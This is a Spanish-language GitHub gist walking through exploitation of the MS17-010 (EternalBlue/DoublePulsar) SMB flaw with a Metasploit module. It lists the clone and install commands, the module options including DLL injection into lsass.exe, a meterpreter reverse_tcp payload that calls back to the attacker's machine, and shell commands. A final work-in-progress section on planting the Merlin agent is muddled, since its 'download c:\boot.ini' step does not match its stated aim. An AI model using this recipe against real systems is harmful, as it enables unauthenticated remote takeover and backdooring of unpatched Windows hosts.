Skip to content

Instantly share code, notes, and snippets.

@kiraitachi
Last active February 14, 2019 14:19
Show Gist options
  • Save kiraitachi/1d774c6acd27eca082f7f3c34d6c17ac to your computer and use it in GitHub Desktop.
Save kiraitachi/1d774c6acd27eca082f7f3c34d6c17ac to your computer and use it in GitHub Desktop.
Metasploit MS17-010 exploiting with Merlin.

1. Comprueba si eres vulnerable para MS17-010

Para verificar que no se trataba de un falso positivo procedemos a utilizar un módulo de metasploit cuyo objetivo es testear que realmente este servidor es vulnerable. Se trata del módulo “auxiliary/scanner/smb/smb_ms17_010”.

Para lanzarlo correctamente, tenemos que configurar las distintas opciones que nos proporciona este módulo, como rhosts en el que pondremos la dirección IP del servidor que queremos testear y rport (por defecto 445).

Metasploit

Como podemos comprobar en la imagen, no se trata de un falso positivo, sino que efectivamente estamos ante un host, a priori, VULNERABLE.

auxiliary/scanner/smb/smb_ms17_01

Eternalblue es el único exploit de los publicados que se puede utilizar para atacar sistemas Windows 7 y Windows Server 2008 R2 sin necesidad de autenticación. Por tanto, este exploit nos permitirá aprovecharnos de un fallo de seguridad en el protocolo SMB para que, posteriormente, con el exploit Doublepulsar podamos inyectar una DLL, creando así una backdoor y consiguiendo acceso remoto al sistema.

Las herramientas que necesitaremos para la explotación son:

-Metasploit Framework: proyecto open source de seguridad informática que proporciona información acerca de vulnerabilidades de seguridad y ayuda en test de penetración “Pentesting” y el desarrollo de firmas para sistemas de detección de intrusos.

-WINE con soporte para ejecutables de 32bits, software para sistema operativos Unix y GNU Linux que provee a estos de:

Un conjunto de herramientas de desarrollo para portar código fuente de aplicaciones Microsoft Windows a Unix.

Un cargador de programas, el cual permite que muchas aplicaciones para todos los sistemas operativos Windows se ejecuten sin modificarse en varios sistemas operativos similares a Linux como el propio GNU Linux, BSD, Solaris y Mac OS X.

2. Explotando la Vulnerabilidad

El primer paso que debemos realizar es la descarga del módulo, para ello lanzamos desde una terminal:

git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git

Metasploit

En la carpeta que hemos descargado, nos encontraremos con varios archivos:

eternalblue_doublepulsar.rb: Módulo de Metasploit, script programado en Ruby. Carpeta “deps”: Incluye los binarios de Eternalblue y Doublepulsar con algunas dependencias y dos archivos XML para pasarle los respectivos parámetros a los dos exploits. Una vez hemos descargado el módulo, deberemos añadirlo a Metasploit, para ellos copiaremos el script en Ruby (eternalblue_doublepulsar.rb) a la carpeta del framework donde están los exploits para SMB de Windows.

sudo cp eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb

Una vez abierto metasploit, seleccionamos el exploit que acabamos de añadir:

use exploits/windows/smb/eternalblue_doublepulsar

En este punto, configuramos las opciones para este exploit:

DOUBLEPULSARPATH y ETERNALBLUEPATH: Contienen la ruta de la carpeta “deps” que hemos descargado previamente.
PROCESSINJECT: nombre del proceso donde va a ser inyectado en la máquina target el payload que seleccionemos posteriormente. Nota: si nuestro target es x64 la explotación fallará ya que debemos cambiar el proceso wlms.exe a lsass.exe. Si el target es un x86, debemos dejarlo en wlms.exe.
RHOST: IP de la máquina a explotar.
RPORT: El Puerto por defecto de SMB que es el 445.
WINEPATH: Carpeta donde se encuentra el “drive_c” de WINE.

Seleccionamos y configuramos el payload que vamos a utilizar, en nuestro caso una reverse shell de windows:

set payload windows/x64/meterpreter/reverse_tcp

LHOST: IP de nuestra máquina.
LPORT: Puerto en la máquina local.

Así es como quedaría configurado nuestro exploit:

Metasploit

Por último, solo queda lanzar el exploit y esperar para obtener nuestra ansiada shell de meterpreter.

Metasploit

Luego vamos a interactuar con la shell para ello realizaremos desde el propio meterpreter shell

execute -f cmd.exe -c -i

3. Instalación de APT Merlin.

============WORK IN PROGRESS============

https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/

Luego enviamos Merlin APT al host infectado.

download c:\boot.ini

Luego lo ejecutamos.

execute -f cmd.exe -i -H

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment